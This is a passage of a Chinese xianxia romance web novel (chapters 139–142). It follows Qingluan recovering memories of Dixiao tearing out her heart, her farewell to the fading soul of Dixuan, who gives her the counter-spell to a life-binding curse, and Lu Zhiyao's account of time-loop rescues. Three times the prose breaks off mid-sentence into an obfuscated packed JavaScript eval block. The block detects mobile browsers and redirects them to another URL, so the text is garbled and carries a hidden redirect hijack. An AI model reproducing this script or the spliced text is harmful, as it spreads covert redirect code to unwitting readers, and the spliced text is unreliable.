路之遥听到轮回转世四个字时眼中便已闪过一丝不悦,听到她说再也认不出他来,他终于蹙起了眉:“无妨,我认得出你就好。天涯海角,轮回百转,我会寻到你的。” “可若是……若是你也……”路之遥在她眼里是无比强大的,这种强大甚至可与天道对抗,但她也知无论多么强大的人,也终有面临死亡的那一日。 她害怕那一天的来临,害怕到无法将这种恐惧说出口。 最后她只是说:“我想永远和师尊在一起。” “你想永远和我在一起?”路之遥的声音里似有蛊惑之意,他将手放下,冰凉修长的手指抚上她柔软的脖颈。 那样纤细的脖颈,只要轻轻一捏便能捏得粉碎。 他若有所思,一向温和的笑容里浮起一抹偏执:“只有真正寂灭于虚无的死亡才能让我们永不分离。” 听到他这样说,她的眼中也没有恐惧。 她不仅没有退缩,反而以手撑地,将身子往前一探,离他更近了些。 她继续抬头凝望着他,将他眼中炽热的温存与极端的偏执都尽收眼底。 他与她对视的一瞬间,由他灵力开辟出的这方小世界也瞬间停止流转。 晶莹的冰与白色的雪都化为炽烈的火焰,火光在两人漆黑的眼底绽放。 青鸾在火光中睁开眼,方才脑海里闪过的那些记忆太过真实,它们证实了她这段时间以来的猜想。 心火猛烈地燃烧着,但此时她的心脏已不会因此而剧痛。 抬手抚上心口,感受着心脏有力的跳动。 以前的它是残缺的,如今它已变得完整。 从前同半颗心脏一起被剥离出去力量此刻正在回归她的身体,眼泪在火海中蒸发,青鸾流着泪仰头大笑。 她始终没有学会千魂引,可是心火令她想起了从前的记忆,也令她想起了帝骁将手伸进她的胸膛剜走心脏时她曾经历过的求生不得求死不能的痛苦。 她的心脏太过强大,强大到即便只剩下了半颗,也依然能够维系她的生机。 可是被生生剜去心脏的痛苦简直令她生不如死。 每一次呼吸都让她痛苦得仿佛灵魂被撕裂,她无法动弹,也不能言语,她甚至听不清路之遥冲过来抱住她时说了些什么。 139. 芙蓉浦 她感受得到路之遥眼中滔天的愤怒,也能感受到弥漫在他身上的悲伤。 可她无法开口安慰他,也无法抬手为他拭去眼角的泪。 这是她第一次也是最后一次看到路之遥落泪。 他弯腰将浑身是血的她抱回昆仑。 此后她便陷入了长久的昏迷之中。 她不知道自己昏睡了多久,只知道每次醒来都能看到守在她身旁的路之遥。 他的面容憔悴了许多,连嘴唇都变得苍白。 这段时间他一定是想尽了办法替她修复残损的心脏,可是留在她身体里的这半颗心脏裂痕实在太多,即便他拼尽全力也无法恢复。 帝骁剜走她的心脏时下手太重,这半颗心脏其实早在那时便已破碎。 当时情况危急,若非路之遥及时赶来,帝骁定会取走她整颗心脏,便连这残损的半颗也是保不住的。 但如今留着这半颗心脏的她却是生不如死。 路之遥注视着她眼中的痛苦,面上浮现出迷茫之色。 他向来雷厉风行,杀伐果决,这是他第一次体会到何谓茫然。 他无法替她减轻痛苦,也没办法为她修复心脏,他将这样的她强留在自己身旁,却好像是在亲手将她推入地狱。 他日复一日地用自身灵力滋养着她的心脏,小心翼翼地尝试将碎裂的残渣拼起,但终究无济于事。 他的灵力足以支撑她活下去,代价是让她深陷在无法解脱的痛苦之中。 终于,在第无数次凝望见她眼中的痛苦之色时,他抬手覆上了她的眼。 她闭上眼睛,感受到他冰凉的掌心微颤。 “我会找到你的。”他的声音在她耳畔响起,说出的每一字都萦绕着不舍与眷恋,同时也席卷着滔天的恨意。 在止不住的颤抖中,他亲手终结了她的痛苦,也结束了她的生命。 她的意识就此陷入沉睡,不知过了多久,在一片悄无声息的寂静与黑暗中,她再次睁开了眼。 只是这一次醒来,她已不在终年覆盖漫天大雪的昆仑境,而是在常年草木葱翠茂密的青要山。 守在她面前的人也不再是被她遗忘于时空长河的帝师路之遥,而是于那时的她而言无比陌生的武罗神君帝骁。 她遗忘了过去的身份,也忘记了从前陪伴在她身边的人。帝骁为她取名青鸾,于是她便真以为自己是在青要山中吸取了充沛灵力才勉强得以化形的小妖。 或许连帝骁自己也没想到,当年从她身上剜走的这半颗心脏,居然能够在经年之后重新将她孕育成形。 也就更无人得知,那个一直被帝骁带在身边出入相随的小妖青鸾,竟然就是当年名震四海的凰女九聆。 再一次睁开眼,这回她的眼前是无尽的火海。 火焰肆意燃烧,替她驱散了眼前迷雾,唤醒她的力量,同时也带回了一部分缺失的记忆。 今时今日她才知道,原来她的身体和灵魂一直都是不完整的。 残损的心脏,残缺的记忆,被剥夺的自由以及力量,这一切都让她无数次在面对那些高高在上的神君们时怯懦于自己的渺小。 而曾经看顾着她慢慢长大的人才是造成这一切的始作俑者。 她原以为帝骁将她养在身边只是为了有朝一日取她心脏复活帝媱,这个真相已经足够残忍。 却没有想到原来他早已在几百年前亲手剜过她的心脏,养着她只不过是为了再剜一次而已。 他与成渊一样,都将她视作这个强大心脏的绝佳容器。 浑然忘却她才是这颗心脏的主人。 始祖之息眼见着青鸾逐渐恢复记忆和力量,一边默默懊恼自己怎么又坏心办好事了,一边不死心地继续尝试扰乱她的心绪。 “咳咳,是这样的,你跟帝骁的恩怨先放一边。”始祖之息的声音再次在青鸾脑海中响起:“你不是来寻帝宣的吗?他的记忆方才你也看到了,你好好想一想他当初到底为什么要对你那么好。” 他循循善诱地引导青鸾。 她与帝宣初次相遇是在昆仑之境,那时的她在魔气侵袭下护住了一朵白色小花,而那朵小花正是帝媱当初与帝宣一起种下的。 之后帝宣时常来青要山中寻她,怜她无法外出不得自由,于是常常从凡域带来许多的话本给她,而这也正是从前他与帝媱相处的日常。 青鸾不耐烦地蹙了蹙眉:“说这么多,你想证明什么?” 始祖之息很明显愣了愣。 不知道为什么,总觉得这丫头身上的气质都与刚进来时不一样了,此刻燃烧着心火的她简直是一副神挡杀神佛挡杀佛的气势。 难道这就是传说中的恨比爱更有力量? 始祖之息语气弱了几分:“我是这样想的,诚然那帝骁养着你是将你当作复活帝媱的容器,可是那帝宣显然也不是什么好东西。你想想他为什么对你好?他显然是把你当作帝媱的替代品……” “他对我好,难道不是因为发觉我是凰女九聆?”青鸾再一次不耐烦地打断了始祖之息的碎碎念,她一语道出关键:“早在我们初次相遇时他就已经察觉不对,后来几番试探之下他便知晓了真相。” 否则何以解释每次他望向她时那般复杂的眼神,劝她修炼到足够强大能够离开青要山时那样殷切的语气。 他一直都在向她暗示事情背后的真相,只是她从来不曾察觉。 “他为什么不能直接告诉我真相,只是屡屡暗示?”青鸾反问:“难道是因为帝骁在我身上下了什么禁制或是咒术,我的性命握在他手里,一旦我有记忆苏醒的迹象,他就会立马杀了我?” 反正她虽然身死但心脏不灭,即便她死了,对于帝骁而言也只是少了一个容器而已。 留下来的那半颗心脏同样可以复活帝媱。 帝骁当初之所以决定留下她这具肉身,恐怕也只是打的让她用肉身滋养心脏的主意。 复活帝媱一事需从长计议,他还有许多的时间让她慢慢滋养心脏,说不定经年之后那残缺的心脏会在她身体里变得完整,那时再将这一整颗心脏剜给帝媱,效果岂不是比这残损的半颗要好? 想到这里青鸾额上渗出一些冷汗。 所以她的性命其实一直握在帝骁的手里,他执掌着她的生杀大权, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168901|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便在她已经离开了青要山的此时此刻也依然如是。 她之所以还没有死,只是因为帝骁认为事态仍然可控,她依然在他的掌控之中,迟早会主动回到他的身边。 一旦帝骁发觉她真的要脱离他的掌控了,那么此刻她恐怕根本就不能站在这里。 以魂体形态存在的始祖之息同样出了一身冷汗。 这丫头见事如此犀利,思路如此清晰,属实是意料之外。 竟然一下子就被她猜中了真相。 这还怎么玩儿? 没想到青鸾继续道:“话说回来,我不是很理解你非要让我看帝宣这一段记忆的意义。” “你方才说对于帝宣而言我不过是帝媱的替代品,且不说这并非事实真相,即便真是如此那又如何?” “你希望我有什么反应呢?希望我心志崩溃就此入魔吗?” 青鸾冷笑一声:“与帝宣相识的百年间他对我的好是纯粹的,他没有欺骗我,也没有利用我去做任何事,所以就算他待我好的初衷并不纯粹,我也没有必要因此顾影自怜。” “更何况你让我知道了一段我从前并不知晓的过往,太华之战的真相,还有帝媱生前作为,这些都只会让我对她心生敬意,我怎会因此感到愤怒?” “当然,此前我知帝骁是为了她而要生剜我的心脏,成渊也是为了复活她而屡屡置我于死地,若说我在怨恨他们的同时不会迁怒于帝媱,那也是假的。” “不过我承认这一点,并不打算遮掩。而且现在我知道了,她是帝宣珍视之人,那便不该成为被你拿来激怒我的工具。” 心火随着青鸾的意念流转,它越烧越盛,眼看就要彻底冲破迷雾。 始祖之息沉默了许久,最后认输般叹了口气:“我在将你拉入幻境之前曾说过,看完幻境中的一切你就会明白,为什么我会诞生于这个世界。” “我的诞生始于人的七情六欲。人心有嫉妒,有不甘,因此生执念,生心魔。” “人们畏我惧我,殊不知我本就是因他们而生。他们势要抹灭世上最后一缕魔气,却不知道只要他们在这世上一日,供养我的力量便会源源不绝。” “想要彻底消灭我,除非人类也永远消失。” “不过今日你倒是让我知道,或许人类和魔也并非只能有这一种不死不休的关系。”停顿了一下,始祖之息语速放缓,语气也似有所悟:“嫉妒也好不甘也罢,哪怕你自己都没有察觉,我却仍旧能够在你的意识深处有所感知。” “身为魔族始祖之息,哪怕是被你们潜藏于意识深处微不可察的情绪也能被我感知。” “方才我分明在你的潜意识当中感知到了嫉恨,你的妒忌是那样真实,我甚至已经嗅到了仇恨的气味。你恐怕早就已经知道对于帝骁而言自己不过是复活帝媱的容器,所以在第一眼看到她的时候你的心底就升腾起了恨意。” “怎么可能不恨呢……”始祖之息若有所思:“那样纯粹的恨意,分明足够让你入魔。” 雾气逐渐自青鸾身边散去,她其实也很惊讶。 如果没有听错,始祖之息此刻是在悟道? 140. 芙蓉浦 魔族在所有人的印象里都是心智未开、顽劣成性的种族。 它们的确因人们的各种恶念而强大,有的甚至能通灵性,譬如始祖之息,便是天地间所诞生的第一缕魔息。它有意识,也能同人对话,甚至能够使出手段诱人堕魔。 但也仅限于此了,因恶念而生的低劣种族是被排斥于天道之外的,它们变强的唯一途径便是吞噬他人的灵魂,根本无法如常人一般修炼。 可是此刻始祖之息竟在悟道。 而且青鸾甚至觉得悟得很有道理。 “我想你之所以不会被那些情绪所扰,恰恰是因为你没有排斥它们,也没有试图遮掩。” “接纳自己卑劣的一面,或许反而能够心怀坦荡,这也许就是魔气唯一能够与人共生之法……” 始祖之息的态度让青鸾觉得微妙。 至少此刻在她的心目当中,这一缕魔息不再如世人口中那般没有思考能力只是杀戮成性。 她思索了一下,然后试探着问道:“其实帝宣在此布下生阵,根本不是为了对付你,是吗?” 始祖之息意味深长地嗯了一声,没有直接否认,而是赞道:“你的确很聪明嘛……” 现下青鸾确信,看来此地还有比始祖之息更为强大的存在,这个存在强大到连始祖之息都不敢直言。 她不死心地继续追问:“帝宣设下生阵到底是为了对付谁?” 却没想到始祖之息直接道:“丫头,我和帝宣残魂共存于此多年,算是对手也算半个朋友,你这小丫头于我也算有悟道之恩,我劝你还是别再继续追究,犯不着把小命搭在这里。” “好了,去见他吧,他确实一直都在等你,若非如此,他早就该在百年前魂飞魄散了。” 起初青鸾不解始祖之息此言何意,可是在见到帝宣残留于世的魂体之后,她终于明白了。 她从来没有见过如此虚弱的魂体,单薄得宛若一缕轻烟,风一吹便会飘散。 幻境已然消失,迷雾业已消散,始祖之息隐于生阵背后,属于帝宣的气息终于出现。 他立于法阵中央,生阵所散发出的磅礴生机包裹着他,却没有为他带来一丝生的气息。 它们反而在汲取着他的生命,将他的灵魂也一并抽离。 青鸾再一次红了眼眶。 他竟然以身为阵,献祭自身作为阵眼,以此维持生阵的力量。 “你当初不告而别……”青鸾往前迈了半步,声音哽咽:“我一直都在找你。” 她似乎是不敢继续上前,也不敢大声说话,只敢隔着法阵的光芒与他遥遥相望,唯恐一不小心惊动了帝宣的魂魄,让他彻底消散于世。 帝宣凝望着她,似是不可置信,又似犹在梦里,目光里的种种情绪几欲凝为实质。 最后他释然地笑了。 青鸾曾无数次回忆起帝宣的笑颜,这一次他冲她微笑,终于不是在泛黄的回忆里。 “你来了。”帝宣的声音同他的魂体一样飘渺如烟,闻来令人心酸:“我还以为再也见不到你。” 青鸾于是又哽咽着重复了一遍:“我一直都在找你。” 如今终于找到帝宣,她反而不知道该说什么了。 千言万语只凝为这一句话,她一直都在找他,她一直都想要再见到他。 “这些年为了找我很辛苦吧。”帝宣的眉眼在法阵忽明忽灭的光芒中变得模糊不清,但他的声音一如往昔温柔:“你是怎么寻到这里来的?一个人跋山涉水来到大荒……” 说到这里他顿住了,没有继续往下说。 想是因为心疼青鸾,他呼吸之间也似有哽咽。 “你可以跟我回去吗?”即便内心已知晓答案,青鸾还是心有不甘。 她小心翼翼地问:“有什么办法可以救你出来?” “告诉我,怎样才能救你出来?” 帝宣长久地注视着青鸾,像是要将她的模样刻进灵魂深处。 他想要记住她,转世也不能忘。 “第一次见到你的时候,是在昆仑之境。”过了许久,他才缓缓开口:“那日你一袭红衣似火,在皑皑雪山之间,是那样耀眼夺目。” “初相遇时的那一幕,我想我是永世也不能忘的。” 青鸾抹去眼泪,冲他扬起一个笑:“我知道的,帝宣,我记起来了。” 帝宣也笑了,从见到她的那一刻起他就在笑,为了这一场久别重逢,他已固执地凭借一缕残魂在法阵中苦守了上百年。 “这些话从前我不敢说。” 他的语气里有一点自嘲:“若非此刻是如此光景,若不是这些话今日不说以后便再也没有机会,我想我仍旧是不敢说的。” “九重天宫终年不见天光,生活在九重天上的人也大多凉薄,在遇见你之前,我从未见过像你这般明媚张扬的女子。” “你强大而又自由,拥有那样磅礴的生命力,连在青要山充沛灵力下疯狂生长的灵植也不能相比。” “其实不管是从前还是现在,我的愿望都只有一个。无论是小妖青鸾还是凰女九聆,我都希望你能自由。” 青鸾点头,泪水不断地从她眼眶滑落,她一遍又一遍地抬手拭去眼泪。 帝宣也抬起手,似是想要为她拭泪,却又在抬手的一瞬间意识到自己只是一缕残魂,根本无法触碰到她,于是抬起的手在空中僵住。 “别哭了,鸾儿。”他闭上眼,将一道咒律传入她的脑海:“这是共生咒,我已将解咒之法传给你。解开此咒,你才算是真正摆脱了帝骁,真正重获自由。” 这道咒律显然乃远古禁咒,青鸾连听也没有听说过。 帝宣已然将它破译,此刻他以神识把它传给青鸾,她只需在心中默念咒法便可解除。 “共生咒乃远古咒律,它诞生于上古魔族,想要破解极为不易。”帝宣的声音在她的脑海响起:“这个解咒之法是我远赴大荒之后,对魔族始祖之息施展了搜魂之术方才得知。” “鸾儿,切记,你身中此咒,生死只在施咒者一念之间。若想彻底解除咒律,需当面对施咒者控魂,趁他分神之际念诵咒法,如此方可保万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173383|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全。” 帝宣每说一句,青鸾的心便沉下去一分:“施咒者便是帝骁,对吗?” 帝宣沉默半晌,然后轻轻叹息一声:“是他。” “我知道了。”青鸾垂首沉吟片刻,又猛地将头抬起:“我们最后一次见面的时候你曾告诉我,你准备了一件礼物要送给我……” “这便是你送给我的礼物么……?” 共生咒的解法。 他要送她自由。 帝宣颔首:“我精通法阵之术,对各类咒术也略晓一二,早已探知你身上被种下了共生咒。” “之后的时间我都在找寻破解此咒之法,后在一册古籍上得知此咒乃上古魔族之咒,心想恐怕唯有魔族中人方知破解之法。” “不久魔族始祖之息在大荒作乱,我决意前往大荒镇压,正好可以试试能否从始祖之息处下手,为你寻到破解共生咒的方法。” “好在最终有所收获,以搜魂术寻得的共生咒解法一定无误,你且放心。”最后帝宣温柔地安慰青鸾:“鸾儿,你不要自责。即便不是为了替你找寻解咒之法,我也要前往大荒平定魔族之乱。不得已以身祭阵,是我修为不够,非你之故。” “可我舍不得你。”青鸾上前两步,她反复地向他诉说着自己心里最后一点希望,像是溺水之人紧紧攥住最后一根救命稻草:“你虽然以身为阵,但还没有彻底魂飞魄散,只要尚余一缕残魂就还有机会的不是吗?暂时不能离开这里也没有关系,我们一起想办法,我一定会想办法救你出来的。” 帝宣沉默了许久,在这令人窒息的沉默中,他的魂体比方才又稀薄了几分。 “鸾儿,我将残魂作为阵眼,守在此处百余年,不过为了再见你一眼。”他道:“能再见你一面,我已经很知足了。” “被禁锢在阵眼中的日子很难熬,庞大的生阵每一分每一秒都在吸食着我的魂魄,它要吞噬掉我所有的残魂,这些年来我仅仅是凭借着见你最后一面的希望坚守着。” “如今终于见到你……” 他没有说出口,但青鸾知道,他很累很累了,他坚持不住了。 青鸾抬手捂住嘴,不让自己哭出声来。 见到他如此痛苦,她仿佛又一次遭受着剜心之痛。 或许该放他解脱。 “鸾儿别哭,我所有心愿已了,此生再无遗憾了。” “对了,我还有一件事要请你帮忙。”帝宣强打起精神,从阵眼中取出一朵保存已久的彼岸花:“母亲最喜此花,可此花只在大荒生长,极为难寻。” “此次前往大荒,我特意为她寻得了这一朵彼岸花,你能不能帮我送给母亲?” 青鸾将花接过,火红色的花瓣灼痛了她的双眼,她眯了眯眼睛,泪水再一次夺眶而出。 她与帝宣在法阵明灭的光芒中相望,一刻的寂静抵过万语千言。 最后,在帝宣的魂体彻底消散之前,她鼓起勇气冲过去张开双臂拥抱他。 这是他们第一次也是最后一次相拥,隔着时空与回忆,隔着死亡和虚无。 141. 芙蓉浦 心火的光芒愈来愈盛,路之遥伫立于法阵之外,目睹熊熊火焰将眼前迷雾尽数驱散,一直紧绷着的身体这才放松下来。 他知道,拥有了完整心脏的青鸾如今终于觉醒力量,从此以后她只会越来越强大,这世上再也无人能束缚住她。 法阵之中的青鸾也感受到了自己身体的变化。 以往心火在她的经脉间游走,修复着她的身躯,为她带来力量,虽然效果明显,让她一日比一日更加强大,但也不至于像此刻这般…… 如今的她是每一刻都比前一刻更为强大。 这种感觉极为美妙,但帝宣方才就在她的眼前魂飞魄散,她怎么也开心不起来。 飞身朝阵外掠去的时候她还有些恍惚,见到路之遥立于阵外,她的第一反应是他怎会出现在这里。 “我怎么会在这里?”路之遥望着她,微微眯眼,气笑了:“如果我没有猜错,你应当已经恢复了部分记忆,怎么反倒像是失忆了?” 青鸾在他面前站定,歪着脑袋注视了他一会儿。 “你说得对,我记起来一些事情。”回过神来的她同样眯了眯眼,“那么你呢?你的记忆呢?” 她的眼眶还有些微红,本来瞧着十分可怜,但望向路之遥时犀利审视的目光又让她眼眶的微红显出几分危险。 话音刚刚落地,路之遥还未反应过来,她便以强大的精神力入侵了他的识海。 路之遥乃当世绝顶高手,实力恐在天君之上,这样的人精神力一定也无比强大,轻易无法攻破。 因此青鸾精神力的入侵从一开始便充满攻击性,她强行闯入他的识海,却在闯入的一瞬间惊觉他对她完全没有设防。 两个人的记忆与情绪猝不及防地交织在一起,他的过去完全向她敞开。 于是她几乎毫无阻碍地在识海中看到了于他而言最难释怀的一幕回忆。 那应当是在她被帝骁剜去心脏后不久,路之遥持剑径直杀去了青要山。 在他踏入青要山的一瞬间,山中翁翠林木陡然于剑吟声中结上一层冰霜,有些灵植则直接在突如其来的漫天冰雪寒风中折断了腰。 帝骁的亲卫自殿中跃出,结成剑阵将路之遥重重包围。 路之遥步伐未停,只低声喝了一句滚开,那些亲卫便纷纷自空中跌落,在强大到近乎摄人心魂的威压下呕血不止。 “帝骁,给我滚出来!”见帝骁迟迟不肯现身,路之遥震怒之下直抬手接一剑削去半座山头,“再不出来我就把整座青要山夷为平地,然后掀了九重天宫,问问天君老儿是如何教养出你这个不肖子孙。” 一阵地动山摇中,帝骁飞身而出。 他站在路之遥面前,手中还攥着青鸾的半颗心脏。 不知为何他的脸色十分苍白,嘴角还渗出一抹鲜血,见到怒气冲冲杀过来兴师问罪的路之遥,他不仅没有心虚,反而冷笑一声道:“帝师息怒,真要掀了九重天宫,其实算你功德一件。” 路之遥见他似是有恃无恐,当即猜到他对心脏做了手脚。 发问时他的声音都有些颤抖:“你对她的心脏做了什么?” “就在刚才,我在这颗心脏上种下了共生咒。”帝骁倒是直言不讳:“从现在起这颗心脏的生与灭都掌控在我的手上,我要它生就生,让它死就死。” 他抬步走向路之遥,将胸膛抵上对方凝结着寒气的剑尖:“当然了,帝师博学广记想必也知共生咒的效果不止于此。” 他挑衅地凑近路之遥耳边:“施咒者若是身死,中咒者也就活不成了。” 语罢他直起身,似是欣赏般观察着路之遥表情的变化:“你的爱徒没了半颗心脏,其实尚有活的希望,但若是我死了,她便连最后一丝生的希望也没了。” “帝师,你不仅不能杀我,从今以后反而还要护我周全。” “毕竟现在中了共生咒的她与我可谓性命相牵。” 因为青鸾侵入路之遥的识海时他的意识尚且清醒,并未陷入沉睡或是昏迷,所以此刻她能清楚地感知到他的情绪,甚至他们的精神还在不断交织缠绕。 彼此的所思所想都在毫无保留的精神识海中一览无余。 她恹恹地退了出去。 “为什么不来找我?就是因为共生咒吗?”她问路之遥:“如果我没有恢复记忆,你打算什么时候告诉我真相。” “你会恢复记忆的。”路之遥道:“我知道你迟早会恢复记忆,过早唤醒这些回忆对你来说并不是什么好事,你刚刚复原的心脏极有可能因为承受不住错乱的记忆和情绪而崩溃。” “其实为了寻找能够让你真正存活下来的这条时间线,我已经在时间之海中回溯了千万年,相比之下等待你恢复记忆的这些时间便不足为道了。” “我等得起。” 青鸾没想到路之遥会一口气告诉她这么多内情。 她缓了好一会儿才艰难地询问自己捕捉到的关键问题:“能够让我真正存活下来的时间线……是什么意思?” 路之遥终于将一切和盘托出,他的声音又轻又缓,但是青鸾听得出来他之所以将声音放缓,其实是在极力克制自己的怒意。 “在时间之海的无数条时间线中,帝骁以各种各样的方式杀死了你。” “身中共生咒的你,生与死皆在他一念之间。我曾经尝试让你提前觉醒力量,也试图让你提前恢复记忆,但所有时间线中提早得知真相的你无一例外触怒了帝骁。” “他用共生咒杀你,的确简单得如同踩死一只蚂蚁。” 青鸾听得打了个冷颤。 “后来我们回溯时光,打算缓缓图之,但是帝骁的手段超出了我的想象。” “他生性多疑,即便只是察觉到你有觉醒力量的迹象,便会立即下手再一次剜走你的心脏。他之所以将你养在身边,无非是想利用你的肉身滋养心脏,可若是你恢复了记忆,对于他来说便是得不偿失。” “最后我只能寄希望于诛仙台。” “诛仙台上虽然刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178100|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵之气凌厉,但它同样是九重天上灵气最充沛之地。当灵气足够充盈时,即便你已身死,你的意识也能在浩瀚如海的灵气中留存片刻。” “只消片刻就好,若我们能在你的意识离开身体的一瞬间发动时光回溯之术,那么你就有可能带着记忆回到过去。” 青鸾听明白了路之遥的解释,也终于清楚了发生在自己身上的一切。 她扯了扯嘴角:“所以那并不是一个预言梦。” 回忆着“梦”中发生的一切,她的声音也染上了些许的寒凉:“所以帝骁将我捆上诛仙台,想要生生剜走我的心脏,并且告诉我这样强大的心脏我用不上……这些都不是梦,而是真实发生过的事情。我其实死过一遍,我只是在时光回溯之下重新回到了过去,带着那个记忆重新活了一遍。” “不对……”她又笑了笑:“按照你的说法,其实我已经在无数条时间线中死过无数回了。” 路之遥颔首:“我们几乎回溯了时空海中的每一条时间线,最后发现唯有此刻所在的这条时间线中,帝骁似乎对你心怀不忍。” “最后他将你捆上诛仙台时并未立即下杀手,这才给了我们可乘之机,有时间施展回溯之法。” “带着那段记忆重生的你觉醒力量的可能性会大大增加,但更重要的是这条时间线中的帝骁对你尚有恻隐之心,否则我们很难为你寻到生路。” 最后他道:“我寻到大荒来,本来也是打算同始祖之息聊一聊,因你身上的共生咒唯有魔族才知解法。不过如今帝宣已经为你寻来破解之法,只要解开此咒,你便无恙了。” 青鸾沉默了一会儿问道:“你方才一直说‘你们’施展了回溯之法。” 她再一次抓住了问题的关键:“除了你之外还有谁?” 路之遥听完也沉默了。 并且他沉默的时间更久。 久到青鸾逼近他打算继续追问,他这才极不情愿地指了指垂在她腰间的乾坤袋:“还有小蓝。” “哈?”青鸾晃了晃袋子:“小蓝?” 她其实猜到了小蓝的身份不简单。 但没有想到他的身份竟然这么不简单。 能施展时光回溯这样的大神通,小蓝的本事恐怕也在天君之上。 她蓦然想起回忆中九重天宫她的寝殿里突然出现的那道蓝色身影。 彼时帝骁扼住她的咽喉想要杀他,那道魂体凭空出现救下了她,不惜魂飞魄散也要替她挡下帝骁致命一击。 他还曾质问她,她本身便拥有力量,为什么不反抗? 没有想到那人竟然就是小蓝。 青鸾绞尽脑汁回忆:“原来那日在去往空桑山的路上相遇竟不是初见而是重逢?可我是什么时候认识小蓝的?我怎么一点都不记得了?” “他有时光回溯以及穿梭时空之法,是从另一个时空追随你而来。”路之遥显然将小蓝视作一个大麻烦,一点都不想继续在青鸾面前提起他:“先不说他了,我也有问题想要问你。” 142. 芙蓉浦 青鸾见路之遥一副严肃的模样,还以为他要问什么了不得的问题。 却没想到他皱着眉道:“你方才就那样直接闯入生阵,知不知道有多危险?” 青鸾:“……” 她咳了两声:“我人都已经出来了你才跟我说直接闯进去很危险。” “不仅仅是这一次。”路之遥继续道:“之前在海上仙宫你直接与帝骁撕破脸对峙,全然不知自己的性命尚且握在他的手上。” “倘若他对你没有那一点恻隐之心,倘若当时我不在东海,你该怎么办?” 青鸾沉默了一会儿道:“我会燃尽心火拼命一试。” “帝骁是如何利用我,又是如何控制我,我早就知道了。就算那时你不在东海,就算我已经知晓自己身上被他种下了共生咒,我还是会这么做。” “因为我早就受够了。” 她微微扬起头,注视着路之遥的眼睛:“师尊,你比我更清楚,其实我算不上什么好人,为了自由哪怕毁了东海我也在所不惜。在他再一次杀死我之前,我会让心火焚尽海上仙宫,我会让海水倒灌淹没整片东海,就算是死我也要让他付出代价,让他无缘天君之位。” “我不怕死,我只怕死得不明不白,死得心有不甘。” 路之遥听见她唤他师尊时明显怔了一怔,后来听到她说这番话又是一怔。 过了好一会儿他才微微扬起唇角,脸上的笑意如冰雪融化。 他注视着她,一字一句地道:“直到现在我才确信,你是真的回来了。” “我也有问题想要问你。”青鸾挑了挑眉:“朝玦是怎么回事?” 几百年未见,他从何处得来这样一个娇滴滴口口声声唤他爹爹的小丫头? 听到青鸾问这个问题,路之遥眼中的神色变得复杂。 “帝骁剜你心脏那日恰巧是你第一次独自外出前往凡域历练归来之日,也正因你不在昆仑山中,他才有下手之机。” 想来路之遥实在不愿再次忆起帝骁剜心一事的经过,他的语气里有些抗拒之意。 “你第一次入凡,看什么都新奇,还特意为我寻了一些礼物。” “其中便有一枚据说已经通了灵性的玉佩。” 青鸾听着路之遥的叙述陷入回忆。 的确是有这样一回事。 那是她第一次见识到凡间商人巧舌如簧的本事,分明她瞧着那枚玉佩平平无奇,玉身上毫无灵力波动,可那商人说这是因为玉佩中的玉灵生机受损陷入了沉睡。 然后他趁势将她大赞特赞了一番,说她看起来便是仙风道骨,想来是哪处洞府高徒,她只需将这枚玉佩带回洞府,用灵气滋养,过一段时日玉灵就会复苏。 最后他悄悄贴近她的耳边,告诉她若非如此这枚玉佩也不会是这个价钱,倘若玉灵没有陷入沉睡,那她即便是多花十倍的银两也买不到的。 一番操作下来说得青鸾是无比心动,她立即决定买下玉佩,当晚还兴致勃勃地传讯给远在昆仑之境的师尊。 “你说西王母对你寄予厚望,你以后外出历练的日子恐会越来越多。倘若这枚玉佩当中真的有正在沉睡的玉灵,那么唤醒它之后正好可以让它陪伴孤身一人待在昆仑的我。”说到这里路之遥的声音不自觉变得柔和了些:“玉灵可遇不可求,即便是在九重天上也寻不见一枚拥有玉灵的玉佩。那时候我便知道你定是在凡间上当受骗,被人骗了银两还兴高采烈。” 青鸾的目光也变得柔软:“可你那时并没有反驳我,并且最终它还是诞生了玉灵。你为那玉灵取名叫做朝玦,是吗?” 路之遥却是眸光一沉:“你一直将那枚玉佩贴身带在身上,帝骁剜你心脏时法术的余威震碎了它,救下你之后我回去将它一片一片拾起,想要让它恢复原貌。” “可惜有一枚碎片早已被震为了齑粉,我无法将玉佩完全复原,它始终缺失了一角。” “后来我不忍见你每日承受剜心之痛,亲自结束了你的痛苦……自那之后我带着这枚玉佩闭关百年,这百年间日日以灵力滋养着它,没想到当真催生出了玉灵。” “此后数百年我带她行走于人间,她也在此期间化形。”路之遥顿了顿,轻声一叹:“无论如何,终归是你将它从凡间带来,想来这便是朝玦第一次见到你便觉得亲近的原因吧。” 